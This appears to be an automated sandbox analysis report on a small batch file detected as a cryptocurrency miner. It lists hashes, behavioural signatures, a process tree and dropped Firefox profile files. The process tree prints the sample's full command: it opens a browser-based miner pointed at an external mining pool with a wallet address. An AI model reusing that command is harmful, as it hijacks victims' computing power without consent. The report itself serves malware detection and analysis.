002af564edf0b61828a1877fbed12262c93d3719a81775fea921bbd41fc9a14c

Resubmissions

29/04/2026, 12:54

260429-p5kf3act617

29/04/2026, 12:24

29/04/2026, 12:19

29/04/2026, 12:17

29/04/2026, 12:11

Analysis

max time kernel
899s
max time network
883s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 12:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
webminer - Copie (15).bat
Size 200B
Sample260429-p5kf3act61
SHA256 002af564edf0b61828a1877fbed12262c93d3719a81775fea921bbd41fc9a14c
MD5 23ea1640884615306bbc6f6820db3ce3
SHA1 0ebd1841b9814c0f1677c0441c5c78566c276c88
SHA512 3bc31a78b4487e1502b030b40c1b8ec162b9c6a8e3dce558dea531ee7c6f48539201f45ea6b4127c7e9b96bb656afbbf591e4ca3a40d2517383f64ab8f18b9db
TLSH
T19DD022AD0A40C6D05428FD642B232A7AF7D3C309613268822320E640B28BF9263D135B
MD5 SHA1 SHA512 TLSH

Score

7^/10

miner persistence

Malware Config

Signatures

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 18 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	firefox.exe
Token: SeDebugPrivilege	2728	firefox.exe
Token: SeDebugPrivilege	2728	firefox.exe
Token: SeDebugPrivilege	2728	firefox.exe
Token: SeDebugPrivilege	2728	firefox.exe
Token: SeDebugPrivilege	2728	firefox.exe
Token: SeDebugPrivilege	2728	firefox.exe
Token: SeDebugPrivilege	2728	firefox.exe
Token: SeDebugPrivilege	2728	firefox.exe
Token: SeDebugPrivilege	2728	firefox.exe
Token: SeDebugPrivilege	2728	firefox.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
2728	firefox.exe
2728	firefox.exe
2728	firefox.exe
2728	firefox.exe
2728	firefox.exe
2728	firefox.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2728	firefox.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 1292 wrote to memory of 3356	1292	cmd.exe	80
PID 3356 wrote to memory of 2728	3356	firefox.exe	81
PID 3356 wrote to memory of 2728	3356	firefox.exe	81
PID 2728 wrote to memory of 1880	2728	firefox.exe	82
PID 2728 wrote to memory of 1880	2728	firefox.exe	82
PID 2728 wrote to memory of 1880	2728	firefox.exe	82
PID 2728 wrote to memory of 1912	2728	firefox.exe	83
PID 2728 wrote to memory of 1912	2728	firefox.exe	83
PID 2728 wrote to memory of 1912	2728	firefox.exe	83
PID 2728 wrote to memory of 1912	2728	firefox.exe	83
PID 2728 wrote to memory of 3056	2728	firefox.exe	84
PID 2728 wrote to memory of 3056	2728	firefox.exe	84
PID 2728 wrote to memory of 3056	2728	firefox.exe	84
PID 2728 wrote to memory of 3056	2728	firefox.exe	84
PID 2728 wrote to memory of 2320	2728	firefox.exe	85
PID 2728 wrote to memory of 2320	2728	firefox.exe	85
PID 2728 wrote to memory of 2320	2728	firefox.exe	85
PID 2728 wrote to memory of 3908	2728	firefox.exe	86
PID 2728 wrote to memory of 3908	2728	firefox.exe	86
PID 2728 wrote to memory of 3908	2728	firefox.exe	86
PID 2728 wrote to memory of 3908	2728	firefox.exe	86
PID 2728 wrote to memory of 3840	2728	firefox.exe	87
PID 2728 wrote to memory of 3840	2728	firefox.exe	87
PID 2728 wrote to memory of 3840	2728	firefox.exe	87
PID 2728 wrote to memory of 3840	2728	firefox.exe	87
PID 2728 wrote to memory of 2876	2728	firefox.exe	88
PID 2728 wrote to memory of 2876	2728	firefox.exe	88
PID 2728 wrote to memory of 2876	2728	firefox.exe	88
PID 2728 wrote to memory of 2876	2728	firefox.exe	88
PID 2728 wrote to memory of 3792	2728	firefox.exe	89
PID 2728 wrote to memory of 3792	2728	firefox.exe	89
PID 2728 wrote to memory of 3792	2728	firefox.exe	89
PID 2728 wrote to memory of 3792	2728	firefox.exe	89
PID 2728 wrote to memory of 4780	2728	firefox.exe	90
PID 2728 wrote to memory of 4780	2728	firefox.exe	90
PID 2728 wrote to memory of 4780	2728	firefox.exe	90
PID 2728 wrote to memory of 4780	2728	firefox.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\webminer - Copie (15).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1292
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" "https://webminer.pages.dev?algorithm=cwm_minotaurx&host=minotaurx.na.mine.zpool.ca&port=7019&worker=dgb1qrug3hsk2whxut7z2mp2trtsgju3d0zeyx2ah6l&password=cDDGB&workers=10"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" https://webminer.pages.dev?algorithm=cwm_minotaurx&host=minotaurx.na.mine.zpool.ca&port=7019&worker=dgb1qrug3hsk2whxut7z2mp2trtsgju3d0zeyx2ah6l&password=cDDGB&workers=10
    3⤵
    - Checks processor information in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1996 -prefsLen 27097 -prefMapHandle 2000 -prefMapSize 270279 -ipcHandle 2064 -initialChannelId {e4cbf3bd-eed5-4d71-9f8e-fc9fb9a16ca2} -parentPid 2728 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2728" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
      4⤵
      PID:1880
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2444 -prefsLen 27133 -prefMapHandle 2448 -prefMapSize 270279 -ipcHandle 2456 -initialChannelId {bf866ed0-0c9f-4b95-ad07-d041cee22fd7} -parentPid 2728 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2728" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
      4⤵
      PID:1912
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3760 -prefsLen 25164 -prefMapHandle 3764 -prefMapSize 270279 -jsInitHandle 3768 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3772 -initialChannelId {7698e20b-641f-4a59-b678-de08f3b1437a} -parentPid 2728 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2728" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
      4⤵
      Checks processor information in registry
      PID:3056
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3928 -prefsLen 27274 -prefMapHandle 3932 -prefMapSize 270279 -ipcHandle 3816 -initialChannelId {58cf1174-3521-47f4-b3d4-2879a0d07d91} -parentPid 2728 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2728" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
      4⤵
      PID:2320
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2924 -prefsLen 34773 -prefMapHandle 3204 -prefMapSize 270279 -jsInitHandle 3208 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2888 -initialChannelId {16cc0b52-71f4-4e9f-b0e4-559d0f707109} -parentPid 2728 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2728" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
      4⤵
      Checks processor information in registry
      PID:3908
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4968 -prefsLen 35010 -prefMapHandle 4972 -prefMapSize 270279 -ipcHandle 4980 -initialChannelId {dcfd5c85-16b1-4805-bfc9-5453533cb789} -parentPid 2728 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2728" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
      4⤵
      Checks processor information in registry
      PID:3840
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5432 -prefsLen 32952 -prefMapHandle 5436 -prefMapSize 270279 -jsInitHandle 5440 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5424 -initialChannelId {42d7f134-18fc-4da4-9e73-f6c14c6ec4b8} -parentPid 2728 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2728" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:2876
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5612 -prefsLen 32952 -prefMapHandle 5616 -prefMapSize 270279 -jsInitHandle 5620 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5628 -initialChannelId {0925b296-3fd5-4151-829b-1e6260a56c45} -parentPid 2728 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2728" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:3792
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5800 -prefsLen 32952 -prefMapHandle 5804 -prefMapSize 270279 -jsInitHandle 5808 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5816 -initialChannelId {10e5dc20-bf11-48cc-b6dc-062d3664d3a8} -parentPid 2728 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2728" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
      4⤵
      Checks processor information in registry
      PID:4780

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

activity-stream.contile.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\85vpkkl6.default-release\activity-stream.contile.json
Size 4KB
SHA256 3e391e642c6a7142ce694ff7c10ca94725c3d94ecc08f4d5faa33dd00fe724fc
MD5 241ee8499577ce02f23a1b4188054545
SHA1 97be918a53b6371ff353f144c97dac2ff89dcdbf
SHA512 c2be1515a5c14f415d58e3c1c672310e982e316b47eb0daac8d0d34cc407e990e3b14b2218b0542d6a0d6cb5bbb8fcb633af873312dbed437543f55f1a70d83b
SSDEEP 96:K65itXowDV5df0918Dl+Ed/JWdV+3ImY9keSol:Kyit4w/dc9il+G8dVtOell
TLSH
T19CA1F9DFC87CC9A74732A7F07C5F27ADF14BB25B8ED59889AB448C21E29511741DAA00
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CD1C116DEEE8F4F97C1806976E10E7E2B349E486

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\85vpkkl6.default-release\cache2\entries\CD1C116DEEE8F4F97C1806976E10E7E2B349E486
Size 13KB
SHA256 c019284f679839c279d85ad4ebad14c5497a4eb28964b1d646055566eeb87d13
MD5 ec90e44f68a362aed9e141316effd086
SHA1 d0efcfeb5883903d0cd2aa0f7954833a8ada7f77
SHA512 ce567091aa7474ea68ac06c90c130a56c866ecacbf3ad263128bf12f35be1a5fdc5771ada0f8e9fe80b370ce1559c0a8b2275687632b826cd2ec019ac70ffa4f
SSDEEP 384:HbaFrLiO024Y5Fuhw+5EL1pPsac4j0lpDII+34A:7aAZY5FuK+5EB9sac4ID8LF
TLSH
T11D527E7EAF0238BA1A2BE194D8AD5214CE04D6BBEEE3D15605043C44C7847BDB4F64EE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

F58F0605C722D0D848D03D88AC8E3E50223F57B0

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\85vpkkl6.default-release\cache2\entries\F58F0605C722D0D848D03D88AC8E3E50223F57B0
Size 13KB
SHA256 e6e041d5b0227956555d8b8ce60385b90751f03d771296356cad467dba62c082
MD5 5c87a4078f2562ced3c80700e06a19b4
SHA1 36e6fe0d402307957d9ef68170b2e80913628013
SHA512 2d95191c5c1b0e646fbf319ff3d5fc2bed251d809d9c81be39d7d27208d30befc368611ea7a7946f0c367dfdcffc11f4965c7b820bd5aa6ca28fcf36f435cbe6
SSDEEP 384:HHMO0iO024YHFuhw+5EL1pPsac4j0lpDII+Gmsmx:nrZYHFuK+5EB9sac4ID8LGTu
TLSH
T173527E7EAF1139B90A27D1C4DCEA9205CE08E6BBDFD2D06206543C45C680778B8F64DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6824f4a902c78fbd.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms
Size 7KB
SHA256 d79097e21a21085d4070f1f274de31f8a2671b840b1fba9e2bbe9c91a89d6e4d
MD5 e64088086d20063038c240779bbdd9e7
SHA1 b610a73d44505dd4980a5df604f54c4d4a40050e
SHA512 f0bd3b893e77e91186d15ae8efd3602d5c721a5f6c61644ad0b0780752e151828c5f93e5116b642fe7740f1ea129f0150f381c3be9f9313f3040d7cf40572bfd
SSDEEP 48:+USXbdT0U5J5UgdwXzZUhXbdT0U5J/6BdwRZU3XbdT0U5J/adwzdXUDXbdT0U5Ju:yF1ZF1/iF1/YF1riOcGaA66aj
TLSH
T18EF1BC020BFA1952F5F38A317B7177136B73FE01675E862D8281A2450F327A4A56DFA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.bin

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\db\data.safe.bin
Size 7KB
SHA256 694a69e8875dc1d4c1fb021f20d030f1c5ac2157dd63aefd3e738cf41d771374
MD5 7acce41ba1ca12f14628a839674d65ba
SHA1 b49b73c3c2d8acc12afcc1a5b166e414e96d41e3
SHA512 7f542f5bbe23172d4671a76f4221aff6ee84e638725562b588c6a524202f7fa161f40a70e7e7f222d9f72f1631f7efb2b5ce35f9929ff75ed1c68b7b5e59f7eb
SSDEEP 192:w/1d66Joz0dzgCl6mc0dnOv5zboH5RJyj9j:od66JozQzgC1j+boZRJyj
TLSH
T1FDE1FCA4F629863BC41403BBDCA61B410F35385AD88E3F1936DC65182D562DE7A8E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 1d04d81d1a3e3da20f4f78bc58466af15f9d3e58e2e7a8653d91bf21b8a9477d
MD5 d11c0073b11e896713dca530b37723d5
SHA1 d4953de87442664aff57909daa502228174201cc
SHA512 677facaee03074335252cb8dcc99253db4d716a0701bccc8accf49edd7fe5d7a44111739a3f0d7f7dd592fbbae2909c0ffff0d2cc06171d891d9fdc03edde386
SSDEEP 192:GOv5zboH5RJyj9hP/1d66Joz0dzgCl6mc0d:9boZRJyjBd66JozQzgC1j
TLSH
T131E1FCA4F6298A3BC414037BDDA51F410F39385BD88E3F1931DC64182C5A2DE7A8E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 605b12c86fa20674ee1a8f17676f07357398895102e63883ec4480e2e5fec30f
MD5 8577b5988b2285a5d21583f6772a91be
SHA1 1d148e346151b967f1a3ab683d0ca4ca4acf0fd6
SHA512 3b7ebea8cccf5cf0c9acab39e5cc2dcc41d8123cf2b6a346141d2473aae74a13eb7c07f1bb91db7f7e25f3ab73aa5a18886bef76f60ee1125655699a3541a0bd
SSDEEP 192:H/1d66Joz0dzgCl6mc0dnOv5zboH5RJyj9jI:td66JozQzgC1j+boZRJyj+
TLSH
T19AE1FCA4F629863BC41403BBDCA61B410F35385AD88E3F19369C65182D562DE7A8E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\db\data.safe.tmp
Size 5KB
SHA256 9f1d624438b11c1563d8a8a7ab0c51ebb2dab38339da458a517c1ec5f64667c3
MD5 b2c84c04be4acf77f7d3812afcf8410f
SHA1 aff06edc320a3350cfc2cd9eb6e05542e8e26409
SHA512 e5c179aef379d234ff7bca6d173af9495a598c1c4f0b26034d55c473767957b60b646e762f5ebd803857c168acabe17f1dacf467b88716952a82515317931b22
SSDEEP 96:JGShSdF95/7bkW6QXjrcEq0JyUR6FmWZwV5HdFKFiF//dd66Joz0dzgClKtmc0dz:ROv5zboobRJyjzW/1d66Joz0dzgCl6m5
TLSH
T1F4C1CB65F6298A3BC414023BCCB51F501E76385BD89E3F2532DC64092D6A2DE7A8E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\db\data.safe.tmp
Size 5KB
SHA256 e5f21a7ed1b0a9485afbee37276032b6c313a197be608a40f57702195767b9b7
MD5 4df05c94715f9b5e6db3e006e8e3f4be
SHA1 b159105f619e747e5aa095f6ed9ee0c7a91b2e2d
SHA512 9f232652a9b6ed9d4a5932202c5abca42b53cb6fab55601a5931237862445137224b501e5ca49f71ef874ab82bdf474ac78693a2197fd88a4f37e3ca44f6279f
SSDEEP 96:0ShSdF95/7bkW6QXjrcEq0JyUR6F9x2WZwV5HdFKFiF//dd66Joz0dzgClKtmc0S:VOv5zboobRJyjtxW/1d66Joz0dzgCl6o
TLSH
T1C6C1CB65F6298A3BC404023BCCB51F501E76385BD89E3F1932DC64192D6A2DE7A8E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 25076ba9dd71da01d8a85d37de74474b8cb0b00faab800cecc5df2fc961c8c3c
MD5 5d5221cd2c8345ecf5df6b76c9176582
SHA1 2503e0fc9796eb6f51d92514d66798ec819e13e3
SHA512 3f42d346a70a6c6c4c52ddaedf20998c09c07b2ef094bf678a07d4cda37b6b46b89cffee0135d4bd8eecdc9f1f728213ff8a3e042c1a6d19d4e571e7d618420d
SSDEEP 192:dOv5zboH4ZRJyj9hP/1d66Joz0dzgCl6mc0d:SboYZRJyjBd66JozQzgC1j
TLSH
T1D9E10CA4F6288A3FC414037BDDA51F410F35385BD84E3F19719C64182C5A2DE7A8E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\events\events
Size 1KB
SHA256 e0b21f1afc7b4804c35b2fa712d1e2aceb18a396e25d1212af207b156b3f3547
MD5 61737bfaa55e527297bfe6a68fa93301
SHA1 2da195fc5d28aaa28fb8a450acbf73835d9053f5
SHA512 3157e055e69a8377e74b53ee66faba0dbe893cd3256916b3affaccd7734c3e60fb1eb8a6158a7c70e8b90299e393057782506a6dce758cb0c8344d3a97367b6d
TLSH
T13521798C3EB94D7AA8D7E2ACB49402CE53564E0B08C71C835D12DF8DCCD5AD9726A439
MD5 SHA1 SHA512 TLSH

Submit Download

38bd20b8-8563-4c23-8ba0-12899e39bbd8

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\pending_pings\38bd20b8-8563-4c23-8ba0-12899e39bbd8
Size 883B
SHA256 e197e1900405760fe45c0f27e848384b792e9c01657ad3140b672f0d556a89d1
MD5 ccd6dd607e90d28edcf1bc44cc89db5d
SHA1 91c57dba9ddf7e2a94bb8386f158e88ec71ca4c7
SHA512 02236ac6012a8649fce9ea8132ef7f71c2a317c9dbeede9254af1821d3a1443ebaf7fa5defe9a2bf8e5f6fad7a9118e22fc9a1e24f20565868ffc3cf2d2db786
TLSH
T18D11C0519335B9B2CD78928FC9967B4257F47423C0CA48243EF58B140E7EA1EA7A7607
MD5 SHA1 SHA512 TLSH

Submit Download

3dd964bb-92a1-4c4c-acc3-baf65f2f2123

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\pending_pings\3dd964bb-92a1-4c4c-acc3-baf65f2f2123
Size 235B
SHA256 ebabc60c3815143d33f6fc301adb5f7a4e42b6a574f6585b9501ddb97224a433
MD5 0ccab04df5a59de4821616067dfc71df
SHA1 11bf7a4a94186fd26a29460cd19676e010cad28a
SHA512 40a098c60f97b2197b878f7f55ec1d17088adf9af89443c1be275991d4010ce7e9f9eba4bf37d4e784d6cbdf793e151748645fd5f0c975b2a04dcce1bfce3347
TLSH
T145D097C034AC27AD48281F1BB4E07AD6B0488C3320A17820CA9044749BF8EC582E1C26
MD5 SHA1 SHA512 TLSH

Submit Download

6499b5ff-9462-467c-ab00-b7d943744c68

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\pending_pings\6499b5ff-9462-467c-ab00-b7d943744c68
Size 886B
SHA256 60115f84f4691c8f890d99317cf0128b017263cc3596901a2121cd48575e0ce9
MD5 c0fafea759d212629d261e2aa66282b7
SHA1 cb238f4b5aa4aab3827b6fe2425684c67e5e9000
SHA512 4d06f1682b1200b1236f942112eecfb5d95273b5b4791835d81a9034f60e91c456d7558c7ed8594e8bd064a263091e1d794f6a752d327fa4000f54e22306909f
TLSH
T1D61104919675B9B2CD38938BD5E5B78257E47023C0CA4C147ED48B180CBD51FA397507
MD5 SHA1 SHA512 TLSH

Submit Download

9ad9bfd0-242d-49e3-a374-a0c6dced09c8

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\pending_pings\9ad9bfd0-242d-49e3-a374-a0c6dced09c8
Size 235B
SHA256 36ed95886ba2b03135a5ffa29cb895d1d060d30d228b5baeca8c4fe646e4a033
MD5 5fc8c634ee201b449793e010a563d5f9
SHA1 9ad0dfb9dff42ea86b0fd27cfd86abbfedcc2d62
SHA512 fb16c26b977b74e60aec6b51e4832626fad7359105407f6b00eb6634518bb88240556a9e7b8b2e01f073c247beb7c915f2f811ad4f02664af93c13de991ea924
TLSH
T198D09780389833AF08240F03B4E06DDA30494C3320606820C76206389AFCDCA8261C26
MD5 SHA1 SHA512 TLSH

Submit Download

d8169924-1e6b-412d-8126-4674c787ce8e

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\pending_pings\d8169924-1e6b-412d-8126-4674c787ce8e
Size 2KB
SHA256 d293ec04c17782fc5e095e11a580f91c92e8865bf10fc844c82e3e7eef4071d5
MD5 5c3d8a0cb00f5e4d69f9b3bb1f573ee4
SHA1 62a28183413d53339635462e8d1174de9ec9a10a
SHA512 fd00f56ffcc313b721de05e8d1c8179d39a2621f3018388038e9d80a06274189cde85842a6c8e4bf9c1a4e7a2288b51d03e4d23e2cb7991cc8a82492823e6402
TLSH
T1EB41135876784D7A8CDAE75D9482328D53A08A0340CA1C432E51DF0C8D9A6DE736E51B
MD5 SHA1 SHA512 TLSH

Submit Download

d8972e14-57d1-454a-845e-f036eba5c191

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\datareporting\glean\pending_pings\d8972e14-57d1-454a-845e-f036eba5c191
Size 16KB
SHA256 7b402c73b81684e05c58e5d72a9c58d843eabc49d6e7697188da9f4d25d8419d
MD5 8f811f2d4ae39463dc7278ca58267d6b
SHA1 83374ea9da112858a8773dc8f410221ff17237c0
SHA512 bfd2338ad619a6eb3b367b4fd0cd4965eab3d1f54cf55c791525343146eac2c067bdde4fec0e42d9350248574a108efc6d299bea7a2c40e16d4f725ffef04c4b
SSDEEP 192:cnCS6U6zxRB/7eplK2Wmtn+CBcJk1NbVUcVbUV0yw9r5k87UTajUFJUXxoVy8fxy:66U6lRB/7elfWmldyODyzR7edClKEY9
TLSH
T1D872B956582044BB8291E79994F87FC3E6F538CF4C415FCA9BE4BD086DEE06E112784B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85vpkkl6.default-release\extensions.json
Size 16KB
SHA256 bcbe284d62b1158a752bc59b676d2d24ef3479fe107f9d698e6adacdbd45577a
MD5 0d1f97cd257176bcb994964310d40ab3
SHA1 4c8cffac1a7dda2b125334350d28223142b1836e
